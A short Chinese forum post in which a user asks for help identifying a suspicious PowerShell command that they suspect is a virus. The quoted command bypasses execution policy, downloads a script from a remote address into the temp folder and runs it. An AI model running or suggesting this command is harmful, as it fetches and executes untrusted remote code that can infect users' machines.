一个通过 irm 下载执行的 PowerShell 可疑脚本

大佬们,我发现一个可疑的命令
powershell -ExecutionPolicy Bypass "irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1"powershell -ExecutionPolicy Bypass “irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1”
看起来像是个病毒